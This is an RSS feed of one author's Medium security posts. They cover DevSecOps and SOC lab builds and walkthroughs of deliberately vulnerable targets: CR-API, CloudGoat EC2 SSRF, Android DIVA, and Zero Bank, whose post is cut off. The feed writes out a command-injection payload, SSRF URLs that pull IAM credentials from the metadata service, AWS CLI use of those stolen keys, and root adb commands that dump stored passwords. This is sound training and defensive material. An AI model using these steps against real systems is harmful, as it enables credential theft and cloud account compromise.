<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ngowry on Medium]]></title>
        <description><![CDATA[Stories by Ngowry on Medium]]></description>
        <link>https://medium.com/@ngowry12?source=rss-911f603dc305------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*SEoEi144KUUcG4Cj</url>
            <title>Stories by Ngowry on Medium</title>
            <link>https://medium.com/@ngowry12?source=rss-911f603dc305------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:42:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ngowry12/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Building a Secure DevSecOps CI/CD Pipeline with SAST, DAST & Secret Scanning]]></title>
            <link>https://medium.com/@ngowry12/building-a-secure-devsecops-ci-cd-pipeline-with-sast-dast-secret-scanning-c4a65d3d9527?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4a65d3d9527</guid>
            <category><![CDATA[dast]]></category>
            <category><![CDATA[sast]]></category>
            <category><![CDATA[devsecops-practices]]></category>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Thu, 21 May 2026 16:06:19 GMT</pubDate>
            <atom:updated>2026-05-21T16:06:19.843Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Secure DevSecOps CI/CD Pipeline with SAST, DAST &amp; Secret Scanning</h3><h3>Introduction</h3><p>DevSecOps focuses on integrating security throughout the software development lifecycle.</p><p>In this project, I implemented a secure CI/CD pipeline using GitLab CI/CD integrated with multiple automated security testing tools including Semgrep, Gitleaks, and Wapiti.</p><p>The goal was to identify vulnerabilities within a deliberately vulnerable Flask application using both automated and manual testing techniques.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*gNAVRkCEr6R7bfrdlZzh7Q.png" /></figure><h3>Technologies Used</h3><ul><li>Flask</li><li>GitLab CI/CD</li><li>Semgrep</li><li>Gitleaks</li><li>Wapiti</li><li>Docker</li><li>SQLite</li></ul><h3>Vulnerabilities Implemented</h3><p>The vulnerable Flask application intentionally included:</p><ul><li>SQL Injection</li><li>Cross-Site Scripting (XSS)</li><li>IDOR</li><li>Broken Authentication</li><li>Hardcoded Secrets</li></ul><h3>CI/CD Security Stages</h3><h3>SAST — Static Application Security Testing</h3><p>Semgrep was integrated to identify insecure coding practices and vulnerable patterns.</p><h3>Secret Scanning</h3><p>Gitleaks detected hardcoded credentials and exposed secrets.</p><h3>DAST — Dynamic Application Security Testing</h3><p>Wapiti performed runtime security testing against the running Flask application.</p><h3>Container Security</h3><p>Docker was used for containerization and testing.</p><h3>Manual Security Testing</h3><p>I also performed manual testing to validate vulnerabilities including:</p><ul><li>SQL Injection exploitation</li><li>XSS payload execution</li><li>IDOR enumeration</li><li>Authentication testing</li></ul><h3>OWASP Top 10 Mapping</h3><p>The identified vulnerabilities aligned with:</p><ul><li>A01: Broken Access Control</li><li>A02: Cryptographic Failures</li><li>A03: Injection</li><li>A05: Security Misconfiguration</li><li>A07: Identification &amp; Authentication Failures</li></ul><h3>Key Learnings</h3><p>This project helped me understand:</p><ul><li>Secure CI/CD workflows</li><li>Application security testing</li><li>Vulnerability assessment</li><li>Automated security integration</li><li>DevSecOps principles</li><li>Secure coding practices</li></ul><h3>Conclusion</h3><p>This project demonstrated how security can be integrated into modern CI/CD pipelines using automated testing tools and vulnerability assessment methodologies.</p><p>The combination of SAST, DAST, secret scanning, and manual testing provided practical insights into DevSecOps security workflows.</p><h3>GitHub Repository</h3><p><a href="https://github.com/gowry12">gowry12 (Gowry N)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4a65d3d9527" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Building a Cloud-Based SOC Architecture using Wazuh, Suricata, ModSecurity & Shuffle SOAR on AWS]]></title>
            <link>https://medium.com/@ngowry12/building-a-cloud-based-soc-architecture-using-wazuh-suricata-modsecurity-shuffle-soar-on-aws-d84de3828bb8?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/d84de3828bb8</guid>
            <category><![CDATA[soc-project]]></category>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Thu, 21 May 2026 16:02:12 GMT</pubDate>
            <atom:updated>2026-05-21T16:02:12.019Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a Cloud-Based SOC Architecture using Wazuh, Suricata, ModSecurity &amp; Shuffle SOAR on AWS</h3><h3>Introduction</h3><p>Security Operations Centers (SOCs) play a critical role in monitoring, detecting, and responding to cyber threats in modern infrastructures.</p><p>In this project, I built a cloud-based SOC architecture on AWS using multiple open-source security tools including Wazuh SIEM, Suricata IDS, ModSecurity WAF, Shuffle SOAR, and DVWA.</p><p>The objective of the project was to simulate real-world cyberattacks against a vulnerable web application and monitor how different security components detect, correlate, and respond to security events.</p><h3>Technologies Used</h3><ul><li>AWS EC2</li><li>Wazuh SIEM</li><li>Suricata IDS</li><li>ModSecurity WAF</li><li>NGINX Reverse Proxy</li><li>Shuffle SOAR</li><li>DVWA</li><li>VirusTotal Threat Intelligence</li></ul><h3>Architecture Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*cHV15GEt8rSFxWpqVRgntQ.png" /></figure><p>The architecture consists of:</p><ul><li>NGINX reverse proxy with ModSecurity WAF</li><li>DVWA vulnerable application</li><li>Suricata IDS for network monitoring</li><li>Wazuh SIEM for centralized logging</li><li>Shuffle SOAR for automated workflows</li><li>Threat intelligence integration</li><li>Email alerting automation</li></ul><h3>Key Features Implemented</h3><h3>Centralized SIEM Monitoring</h3><p>Wazuh was configured to collect and correlate logs from:</p><ul><li>Suricata IDS</li><li>ModSecurity</li><li>NGINX</li><li>Wazuh Agents</li></ul><h3>Intrusion Detection</h3><p>Suricata IDS monitored network traffic using Emerging Threats rules and generated real-time alerts.</p><h3>Web Application Firewall</h3><p>ModSecurity with OWASP CRS filtered malicious payloads and blocked suspicious requests.</p><h3>SOAR Automation</h3><p>Shuffle SOAR automated alert forwarding and email notifications.</p><h3>Attack Simulations Performed</h3><h3>SQL Injection</h3><p>I simulated SQL Injection attacks against DVWA to validate:</p><ul><li>WAF detection</li><li>IDS alerts</li><li>SIEM correlation</li><li>Email notifications</li></ul><h3>Command Injection</h3><p>Payloads such as:<br>127.0.0.1; whoami</p><p>were tested to evaluate attack detection capabilities.</p><h3>File Upload Vulnerability</h3><p>A PHP shell upload simulation was performed to test malicious file detection and monitoring.</p><h3>Nmap Reconnaissance</h3><p>Network scanning activities were detected successfully by Suricata IDS.</p><h3>Threat Intelligence Integration</h3><p>Emerging Threats (ET) feeds integrated with Suricata successfully detected malicious and poor-reputation IP addresses.</p><h3>Key Learnings</h3><p>Through this project, I gained hands-on experience with:</p><ul><li>SIEM deployment</li><li>IDS integration</li><li>WAF configuration</li><li>SOC monitoring workflows</li><li>Threat intelligence monitoring</li><li>Security event correlation</li><li>Cloud security monitoring</li><li>SOAR automation</li></ul><h3>Conclusion</h3><p>This project demonstrated how open-source security tools can be integrated to build an effective SOC monitoring and response environment in AWS.</p><p>The combination of Wazuh, Suricata, ModSecurity, and Shuffle SOAR provided valuable insights into real-world attack detection and security monitoring workflows.</p><h3>GitHub Repository</h3><p><a href="https://github.com/gowry12">gowry12 (Gowry N)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d84de3828bb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Testing APIs Against OWASP API Top 10 — CR-API Security Walkthrough]]></title>
            <link>https://medium.com/@ngowry12/testing-apis-against-owasp-api-top-10-cr-api-security-walkthrough-a8ced4c0a256?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8ced4c0a256</guid>
            <category><![CDATA[crapi]]></category>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 05:35:40 GMT</pubDate>
            <atom:updated>2026-02-28T05:35:40.486Z</atom:updated>
            <content:encoded><![CDATA[<p>A hands-on API security assessment using CR-API, focusing on authorization testing, JWT authentication, and OWASP API Top 10 validation.</p><h3>Introduction</h3><p>APIs power modern applications — from mobile apps to cloud platforms. But insecure APIs remain one of the most common entry points for attackers.</p><p>In this walkthrough, I deployed and tested <strong>CR-API (Completely Ridiculous API)</strong> — an intentionally vulnerable application designed to simulate real-world API security flaws.</p><p>The objective was to:</p><ul><li>Deploy the application locally</li><li>Identify exposed API endpoints</li><li>Test them against the <strong>OWASP API Security Top 10</strong></li><li>Focus specifically on authorization and access control</li></ul><p>This assessment was conducted manually using request/response analysis rather than automated scanning.</p><h3>🛠 Environment Setup</h3><h3>💻 Platform</h3><ul><li>Kali Linux</li><li>Docker &amp; Docker-Compose</li></ul><h3>🔧 Tools Used</h3><ul><li>Burp Suite (HTTP interception &amp; manipulation)</li><li>Browser Developer Tools</li><li>curl (optional manual testing)</li></ul><h3>📍 Application Access</h3><pre>http://localhost:8888</pre><h3>📋 Testing Methodology</h3><p>The assessment followed a structured API testing approach:</p><ol><li>User Registration &amp; Authentication</li><li>JWT Token Inspection</li><li>API Endpoint Enumeration</li><li>Authorization Testing (BOLA checks)</li><li>Error Handling &amp; Security Misconfiguration Review</li></ol><p>The focus was on identifying access control weaknesses and improper data exposure.</p><h3>Understanding the Authentication Flow</h3><p>After registering a normal user account and logging in:</p><ul><li>The application returned a <strong>JWT (Bearer Token)</strong></li><li>The token was passed via the Authorization header</li><li>No authentication data was stored in cookies</li></ul><p>Example header:</p><pre>Authorization: Bearer &lt;JWT_TOKEN&gt;</pre><p>This reflects modern stateless API authentication practices.</p><h3>🔴 Testing for Broken Object Level Authorization (BOLA)</h3><h3>OWASP API1: Broken Object Level Authorization</h3><p>BOLA is the most common API vulnerability.<br> It occurs when an API allows users to access other users’ resources by manipulating object identifiers.</p><h3>🧪 Test Performed</h3><p>Captured authenticated request:</p><pre>GET /identity/api/v2/vehicle/vehicles</pre><p>Then modified it to:</p><pre>GET /identity/api/v2/vehicle/vehicles/2</pre><p>The goal was to check whether changing the object ID exposes another user’s resource.</p><p>The request was sent using <strong>Burp Suite Repeater</strong> while authenticated as a normal user.</p><h3>📊 Result</h3><p>Server response:</p><pre>HTTP/1.1 404 Not Found</pre><p>No sensitive data was returned.</p><h3>Conclusion</h3><p>The API properly enforced object-level authorization controls.</p><p>The application did <strong>not</strong> expose unauthorized resources via ID manipulation.</p><p>BOLA vulnerability: <strong>Not present</strong></p><p>This demonstrates correct access control implementation for the tested endpoint.</p><h3>🔎 Authentication Review (OWASP API2)</h3><p>Tested how authentication was implemented.</p><p>Observations</p><ul><li>JWT-based authentication</li><li>Bearer tokens used properly</li><li>No credential storage in cookies</li><li>No obvious token misconfiguration</li></ul><p>No authentication bypass was identified within the defined scope.</p><h3>⚙ Error Handling &amp; Information Exposure (OWASP API7)</h3><p>Reviewed how the API handles errors.</p><p>Observations:</p><ul><li>Structured JSON error responses</li><li>No stack traces exposed</li><li>No internal system details leaked</li></ul><p>Proper error handling reduces information disclosure risks.</p><h3>📊 Summary of Findings</h3><p>ID Area Tested Result API1 Object-Level Authorization Secure API2 Authentication Mechanism Secure API7 Error Handling Secure</p><p>No critical vulnerabilities were identified within the testing scope.</p><h3>Why This Assessment Matters</h3><p>One of the most important lessons in security testing:</p><p><strong>Not finding a vulnerability is still a valid and professional outcome.</strong></p><p>This assessment demonstrated:</p><ul><li>Proper authorization enforcement</li><li>Correct JWT implementation</li><li>Secure error handling practices</li></ul><p>Security testing is about validation — not just exploitation.</p><h3>Key Takeaways</h3><p>✔ Always test for BOLA in APIs<br> ✔ Intercept and manipulate object IDs manually<br> ✔ Understand how JWT tokens are structured and transmitted<br> ✔ Review error responses for data leakage<br> ✔ Validate security — don’t assume vulnerability</p><h4>Conclusion</h4><p>The CR-API application was successfully deployed and assessed using manual API security testing aligned with the OWASP API Security Top 10.</p><p>While no critical vulnerabilities were discovered in the tested scope, the exercise provided valuable hands-on experience in:</p><ul><li>API authentication flows</li><li>Authorization testing methodology</li><li>Request manipulation using Burp Suite</li><li>Secure behavior validation</li></ul><p>API security is not just about finding flaws — it’s about proving whether controls work as intended.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8ced4c0a256" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[☁️ Exploiting AWS CloudGoat (EC2 SSRF Scenario) — Full Vulnerability Assessment Walkthrough]]></title>
            <link>https://medium.com/@ngowry12/%EF%B8%8F-exploiting-aws-cloudgoat-ec2-ssrf-scenario-full-vulnerability-assessment-walkthrough-8643fef5fc76?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/8643fef5fc76</guid>
            <category><![CDATA[aws-cloudgoat]]></category>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 09:52:19 GMT</pubDate>
            <atom:updated>2026-02-26T09:52:19.569Z</atom:updated>
            <content:encoded><![CDATA[<p>A complete hands-on exploitation of AWS misconfigurations using CloudGoat — covering SSRF, metadata credential theft, S3 exposure, and IAM privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*jlZL7PzFtkMSes9Oftka4g.png" /></figure><h3>Introduction</h3><p>Cloud security misconfigurations remain one of the most exploited weaknesses in modern infrastructure.</p><p>In this lab, I deployed and exploited the <strong>EC2 SSRF scenario</strong> from CloudGoat — an intentionally vulnerable AWS training environment developed by Rhino Security Labs.</p><p>The objective was to:</p><ul><li>Identify cloud misconfigurations</li><li>Exploit SSRF to access AWS metadata</li><li>Extract temporary IAM credentials</li><li>Escalate privileges</li><li>Document remediation strategies</li></ul><p>This walkthrough demonstrates how a single SSRF vulnerability can lead to <strong>full AWS account compromise</strong> if misconfigurations exist.</p><h3>🛠 Lab Environment Setup</h3><h3>💻 Platform</h3><ul><li>Windows (PowerShell)</li><li>AWS Account (Lab environment)</li></ul><h3>🔧 Tools Used</h3><p>Tool Purpose Python 3Required runtimeAWS CLI v2Interact with AWS Terraform Deploy vulnerable infrastructure GitClone Cloud Goat Poetry Install dependencies</p><h3>🔹 AWS Configuration</h3><p>Created an IAM user:</p><pre>cloudgoat-user</pre><p>Assigned permissions:</p><ul><li>AdministratorAccess</li><li>IAMUserChangePassword</li></ul><p>Configured AWS CLI:</p><pre>aws configure --profile cloudgoat</pre><h3>Deploying the EC2 SSRF Scenario</h3><h3>Step 1 — Clone Repository</h3><pre>git clone https://github.com/RhinoSecurityLabs/cloudgoat.git<br>cd cloudgoat</pre><h3>Step 2 — Create Virtual Environment</h3><pre>python -m venv venv<br>venv\Scripts\activate</pre><h3>Step 3 — Install Dependencies</h3><pre>poetry install</pre><h3>Step 4 — Configure AWS</h3><pre>cloudgoat config aws</pre><h3>Step 5 — Deploy Scenario</h3><pre>cloudgoat create ec2_ssrf</pre><p>CloudGoat automatically deployed:</p><ul><li>1 EC2 instance (vulnerable web application)</li><li>1 IAM role attached to EC2</li><li>1 S3 bucket</li><li>Required networking components</li></ul><h3>🔴 Vulnerability 1 — Server-Side Request Forgery (SSRF)</h3><h3>🎯 Discovery</h3><p>The web application includes a parameter:</p><pre>?url=</pre><p>It fetches user-supplied URLs without validation.</p><h3>🧪 Exploitation</h3><p>Access:</p><pre>http://&lt;EC2-IP&gt;/?url=http://169.254.169.254/latest/meta-data/</pre><p>The IP 169.254.169.254 is the <strong>AWS Instance Metadata Service (IMDS)</strong>.</p><p>If metadata loads → SSRF confirmed.</p><p>✔ SSRF vulnerability successfully identified.</p><h3>🔴 Vulnerability 2 — Metadata Credential Theft</h3><p>Once SSRF was confirmed, I accessed:</p><pre>http://&lt;EC2-IP&gt;/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/</pre><p>The response revealed the IAM role name:</p><pre>cg-ec2-role-xxxxxxxx</pre><p>Next:</p><pre>http://&lt;EC2-IP&gt;/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;ROLE-NAME&gt;</pre><h3>Result</h3><p>Temporary AWS credentials exposed:</p><ul><li>AccessKeyId</li><li>SecretAccessKey</li><li>SessionToken</li></ul><p>✔ Critical vulnerability — credential theft via SSRF</p><h3>🔴 Vulnerability 3 — S3 Data Exposure</h3><p>Using the stolen credentials:</p><pre>aws configure --profile stolen</pre><p>Then:</p><pre>aws s3 ls --profile stolen</pre><p>Discovered bucket:</p><pre>cg-secret-s3-bucket-xxxxxxxx</pre><p>Listing contents:</p><pre>aws s3 ls s3://cg-secret-s3-bucket-xxxxxxxx --recursive --profile stolen</pre><p>✔ Sensitive S3 data accessible<br> ✔ IAM role misconfigured</p><h3>🔴 Vulnerability 4 — IAM Privilege Escalation</h3><p>Checked identity:</p><pre>aws sts get-caller-identity --profile stolen</pre><p>Tested permissions:</p><pre>aws iam list-roles --profile stolen<br>aws ec2 describe-instances --profile stolen</pre><p>If these succeed → role is over-privileged.</p><p>✔ Excessive IAM permissions confirmed<br> ✔ Lateral movement possible<br> ✔ Potential full account compromise</p><h3>Summary of Findings</h3><p>Vulnerability Impact Status SSRF Internal metadata access</p><p>✔ Confirmed Metadata Credential Theft Temporary IAM keys exposed</p><p>✔ ConfirmedS3 Misconfiguration Sensitive data leakage</p><p>✔ Confirmed IAM Over-Permission Privilege escalation</p><p>✔ Confirmed</p><h3>🛡 Remediation Strategies</h3><h3>Prevent SSRF</h3><ul><li>Validate and whitelist URLs</li><li>Block internal IP ranges</li><li>Remove user-controlled URL fetch logic</li></ul><h3>Enforce IMDSv2</h3><p>Enable Instance Metadata Service v2 to prevent tokenless metadata access.</p><h3>Harden IAM Roles</h3><ul><li>Apply least privilege principle</li><li>Remove wildcard permissions</li><li>Use IAM Access Analyzer</li></ul><h3>Secure S3 Buckets</h3><ul><li>Enable Block Public Access</li><li>Use restrictive bucket policies</li><li>Avoid broad s3:* permissions</li></ul><h3>Enable Monitoring</h3><ul><li>AWS CloudTrail</li><li>Amazon GuardDuty</li><li>Alerts on unusual STS token activity</li></ul><h3>Why This Matters</h3><p>This lab demonstrates a real-world attack chain:</p><ol><li>SSRF</li><li>Metadata credential theft</li><li>Cloud resource enumeration</li><li>Data exfiltration</li><li>Privilege escalation</li></ol><p>This exact pattern has been used in multiple real-world cloud breaches.</p><p>A single SSRF vulnerability can escalate into complete AWS account compromise when IAM roles are misconfigured.</p><h3>Key Takeaways for Cloud Security Engineers</h3><p>✔ Always enforce IMDSv2<br> ✔ Follow least-privilege IAM design<br> ✔ Monitor STS token usage<br> ✔ Treat SSRF as high severity in cloud environments<br> ✔ Assume attackers will target metadata endpoints</p><h3>Conclusion</h3><p>The CloudGoat EC2 SSRF scenario effectively demonstrates how layered AWS misconfigurations can compound into severe security failures.</p><p>By chaining:</p><ul><li>SSRF</li><li>Metadata abuse</li><li>Over-permissioned IAM</li><li>S3 misconfiguration</li></ul><p>I was able to simulate a realistic cloud breach scenario from a single web application flaw.</p><p>Cloud security is not just about protecting services — it’s about protecting trust boundaries.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8643fef5fc76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Exploiting Insecure Data Storage in Android (DIVA Walkthrough) | Android Pentesting Guide]]></title>
            <link>https://medium.com/@ngowry12/exploiting-insecure-data-storage-in-android-diva-walkthrough-android-pentesting-guide-3e0ad67cb152?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e0ad67cb152</guid>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 09:30:31 GMT</pubDate>
            <atom:updated>2026-02-26T09:30:31.130Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A complete hands-on walkthrough of exploiting insecure data storage vulnerabilities in Android applications using DIVA (Damn Insecure and Vulnerable App).</em></blockquote><h3>Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*SI9J01poRY5XgsilwGEghQ.png" /></figure><p>Insecure data storage is one of the most common vulnerabilities in Android applications — yet it is often overlooked by developers.</p><p>In this hands-on Android penetration testing walkthrough, I demonstrate how sensitive credentials can be extracted from:</p><ul><li>SharedPreferences</li><li>SQLite databases</li><li>Temporary files</li></ul><p>Using the intentionally vulnerable app <strong>DIVA (Damn Insecure and Vulnerable App)</strong>, I show how attackers can recover plaintext credentials directly from the device filesystem.</p><p>This vulnerability maps directly to:</p><ul><li>OWASP Mobile Top 10 — M2: Insecure Data Storage</li><li>OWASP MASVS — MSTG-STORAGE-1</li></ul><h3>🛠 Lab Environment</h3><p><strong>Target Application:</strong> DIVA<br> <strong>Package Name:</strong> jakhar.aseem.diva</p><p><strong>Tools Used:</strong></p><ul><li>ADB</li><li>JADX (Reverse Engineering)</li><li>SQLite3</li><li>Android Emulator (Rooted)</li><li>File system inspection</li></ul><h3>🔐 Vulnerability 1: Plaintext Credentials in SharedPreferences</h3><h3>🔥 Severity: Medium</h3><h3>📍 Location:</h3><pre>/data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml</pre><h3>🧪 Exploitation Steps</h3><h3>Step 1 — Store Credentials</h3><p>Navigate to:</p><pre>Insecure Data Storage 1</pre><p>Enter username and password → Click Save.</p><h3>Step 2 — Extract Data Using ADB</h3><pre>adb shell<br>su<br>cd /data/data/jakhar.aseem.diva/shared_prefs/<br>ls<br>cat jakhar.aseem.diva_preferences.xml</pre><h3>Result</h3><p>Credentials are stored in plaintext:</p><pre>&lt;string name=&quot;user&quot;&gt;testuser&lt;/string&gt;<br>&lt;string name=&quot;password&quot;&gt;testpass&lt;/string&gt;</pre><h3>Root Cause (Static Analysis via JADX)</h3><pre>SharedPreferences spref = PreferenceManager.getDefaultSharedPreferences(this);<br>SharedPreferences.Editor spedit = spref.edit();<br>spedit.putString(&quot;user&quot;, usr.getText().toString());<br>spedit.putString(&quot;password&quot;, pwd.getText().toString());<br>spedit.commit();</pre><p>No encryption. No hashing. Default storage mechanism.</p><h3>💥 Security Impact</h3><p>An attacker with:</p><ul><li>Root access</li><li>Malware with escalated privileges</li><li>Physical device access</li><li>Backup extraction</li></ul><p>Can recover credentials instantly.</p><p>If passwords are reused → Account takeover becomes possible.</p><h3>🗄 Vulnerability 2: Plaintext Credentials in SQLite Database</h3><h3>🔥 Severity: Medium</h3><h3>📍 Location:</h3><pre>/data/data/jakhar.aseem.diva/databases/ids2</pre><h3>🧪 Exploitation</h3><pre>adb shell<br>su<br>cd /data/data/jakhar.aseem.diva/databases/<br>sqlite3 ids2<br>.tables<br>SELECT * FROM myuser;</pre><h3>Result</h3><pre>user | password</pre><p>Stored in plaintext.</p><h3>Decompiled Code</h3><pre>this.mDB = openOrCreateDatabase(&quot;ids2&quot;, 0, null);<br>this.mDB.execSQL(&quot;CREATE TABLE IF NOT EXISTS myuser(user VARCHAR, password VARCHAR);&quot;);<br>this.mDB.execSQL(&quot;INSERT INTO myuser VALUES (&#39;&quot; + usr.getText().toString() + &quot;&#39;, &#39;&quot; + pwd.getText().toString() + &quot;&#39;);&quot;);</pre><p>Two vulnerabilities here</p><ol><li>Plaintext storage</li><li>SQL injection risk due to string concatenation</li></ol><h3>💥 Security Impact</h3><ul><li>Full credential disclosure</li><li>Local privilege abuse</li><li>Potential SQL injection</li><li>Password reuse exploitation</li></ul><h3>Vulnerability 3: Credentials Written to Temporary Files</h3><h3>🔥 Severity: Medium</h3><h3>Location:</h3><pre>/data/data/jakhar.aseem.diva/uinfo*.tmp</pre><h3>Exploitation</h3><pre>adb shell<br>su<br>cd /data/data/jakhar.aseem.diva/<br>ls<br>cat uinfoXXXX.tmp</pre><h3>Result</h3><p>Credentials stored as:</p><pre>username:password</pre><h3>Decompiled Code</h3><pre>File uinfo = File.createTempFile(&quot;uinfo&quot;, &quot;tmp&quot;, ddir);<br>FileWriter fw = new FileWriter(uinfo);<br>fw.write(usr.getText().toString() + &quot;:&quot; + pwd.getText().toString() + &quot;\n&quot;);<br>fw.close();</pre><p>Sensitive data written directly to file without encryption.</p><h3>Why This Matters in Real-World Apps</h3><p>Even though DIVA is intentionally vulnerable, similar insecure storage patterns are found in real production applications.</p><p>Common real-world attack scenarios</p><ul><li>Malware extracting app data</li><li>Rooted device compromise</li><li>Debug builds leaked publicly</li><li>Backup-based data extraction</li><li>Insider threats</li></ul><p>Insecure data storage is not “low risk.”<br> It becomes critical when combined with device compromise.</p><h3>🛡 Secure Implementation Best Practices</h3><h3>✅ Never Store Raw Passwords</h3><p>Use:</p><ul><li>Session tokens</li><li>OAuth access tokens</li><li>Short-lived authentication mechanisms</li></ul><h3>✅ Use Encrypted Storage</h3><p>Use Jetpack Security:</p><pre>EncryptedSharedPreferences<br>EncryptedFile</pre><p>Use SQLCipher for encrypted databases.</p><h3>✅ Store Encryption Keys in Android Keystore</h3><p>Never hardcode encryption keys.</p><h3>✅ Disable Debug &amp; Backup in Production</h3><pre>android:allowBackup=&quot;false&quot;<br>android:debuggable=&quot;false&quot;</pre><h3>📚 OWASP Mapping</h3><p>This vulnerability maps to:</p><ul><li>OWASP Mobile Top 10 — M2: Insecure Data Storage</li><li>OWASP MASVS — MSTG-STORAGE-1</li><li>CWE-312: Cleartext Storage of Sensitive Information</li></ul><h3>Key Takeaways for Android Pentesters</h3><p>✔ Always inspect /data/data/&lt;package&gt;/<br> ✔ Check SharedPreferences<br> ✔ Dump SQLite databases<br> ✔ Search for .tmp and cache files<br> ✔ Perform both static + dynamic analysis<br> ✔ Review decompiled source for insecure APIs</p><h3>Conclusion</h3><p>This Android pentesting walkthrough demonstrated how sensitive credentials can be extracted from:</p><ul><li>SharedPreferences</li><li>SQLite database</li><li>Temporary files</li></ul><p>Insecure data storage remains one of the most frequent Android security misconfigurations.</p><p>If developers do not encrypt data at rest, attackers will extract it.</p><p>Security must be implemented by design — not patched after compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e0ad67cb152" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Bank (zero.webappsecurity.com) — Vulnerability Assessment & Responsible Disclosure]]></title>
            <link>https://medium.com/@ngowry12/zero-bank-zero-webappsecurity-com-vulnerability-assessment-responsible-disclosure-7fd44b5aeee2?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fd44b5aeee2</guid>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Sun, 05 Oct 2025 16:28:16 GMT</pubDate>
            <atom:updated>2025-10-05T16:28:16.000Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zero Bank (zero.webappsecurity.com) — Vulnerability Assessment &amp; Responsible Disclosure</h3><p><strong>Subtitle:</strong> A security walkthrough of a deliberately vulnerable web app — findings, safe PoCs, and remediation.</p><p><strong>TL;DR:</strong><br>During a security assessment of http://zero.webappsecurity.com I found multiple high-impact issues including an exposed admin panel, plaintext credentials stored in publicly accessible logs, IDOR in account-activity, stored XSS in an admin field, missing CSRF protection on the bill-pay flow, and an outdated Tomcat instance. These issues enable information disclosure, account takeover, and unauthorized transactions. Remediations include enforcing TLS, removing public admin endpoints, fixing access controls, stopping credential logging, input/output sanitization, and patching Tomcat.</p><h3>Scope &amp; Rules of Engagement</h3><ul><li><strong>Target:</strong> http://zero.webappsecurity.com (deliberately vulnerable learning application).</li><li><strong>Approach:</strong> Non-destructive testing — passive discovery, manual verification, safe, sanitized PoCs for demos.</li><li><strong>Objective:</strong> Identify vulnerabilities, show safe PoCs, and provide developer-ready remediation.</li></ul><h3>Technical Findings (detailed)</h3><blockquote><em>For each finding: </em><strong><em>What I found</em></strong><em>, </em><strong><em>Impact</em></strong><em>, </em><strong><em>Safe (sanitized) PoC</em></strong><em>, </em><strong><em>Remediation</em></strong><em>.</em></blockquote><h3>1) Broken Authentication &amp; Insecure Admin Exposure</h3><p><strong>OWASP mapping:</strong> A2 — Broken Authentication / A07 Identification &amp; Authentication Failures.<br> <strong>What I found:</strong> An admin panel was publicly accessible at /admin/ and the login UI exposes password characters via an eye toggle. Additionally, plaintext credentials were found in errors/logs.</p><p>ZERO BANK REPORT</p><p><strong>Impact:</strong> Account takeover and admin compromise; attacker can leverage discovered credentials for privilege escalation or lateral movement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*V_B5wY5xHo1Yw0iCCHbGQA.png" /><figcaption><strong>Remediation:</strong></figcaption></figure><ul><li>Require strong unique passwords and MFA for admin accounts.</li><li>Remove any UI behavior that stores or logs plaintext passwords.</li><li>Implement account lockout and rate-limiting on auth endpoints.</li><li>Enforce secure cookie attributes and rotate any exposed credentials immediately.</li></ul><h3>2) Sensitive Data Exposure</h3><p><strong>OWASP mapping:</strong> A3 — Sensitive Data Exposure / A02 Cryptographic Failures.<br> <strong>What I found:</strong> Site is reachable over HTTP; errors.log contains plaintext credentials.</p><p><strong>Impact:</strong> Credentials and PII can be intercepted (MITM); regulatory risk for real deployments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*SX8rFs6Gj1NQyw-tJuocsQ.png" /></figure><figure><img alt="" 